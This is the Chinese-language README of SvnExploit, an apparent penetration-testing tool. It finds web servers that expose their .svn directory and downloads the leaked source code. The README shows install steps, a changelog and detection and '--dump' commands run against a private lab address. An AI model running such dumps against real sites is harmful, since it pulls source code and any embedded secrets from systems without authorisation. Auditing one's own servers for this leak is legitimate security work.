SvnExploit
SvnExploit是一款SVN源代码利用工具,其完美支持SVN<1.7版本和SVN>1.7版本的SVN源代码泄露,更多请阅读:
Useage
安装依赖库
1 | sudo pip install -r requirements.txt |
查看帮助
1 | python SvnExploit.py -h |
检测SVN源代码泄露
1 | python SvnExploit.py -u http://192.168.27.128/.svn |
下载源代码
1 | python SvnExploit.py -u http://192.168.27.128/.svn --dump |
Example
svn > 1.7版本
1 | python .\svnExploit.py -u http://192.168.27.128/unit-2/lab3/.svn/ |
1 | python .\svnExploit.py -u http://192.168.27.128/unit-2/lab3/.svn/ --dump |
svn < 1.7版本
1 | python .\svnExploit.py -u http://192.168.27.128/unit-2/lab2/.svn/ |
1 | python .\svnExploit.py -u http://192.168.27.128/unit-2/lab2/.svn/ --dump |
更新记录
更新记录 - 20181130
1 | 1.添加svn版本识别函数 - SvnVersion |
更新记录 - 20180821
1 | 1.添加编码声明 |
结构
1 | ├── history |
历史版本
svn>1.7时,dump源码工具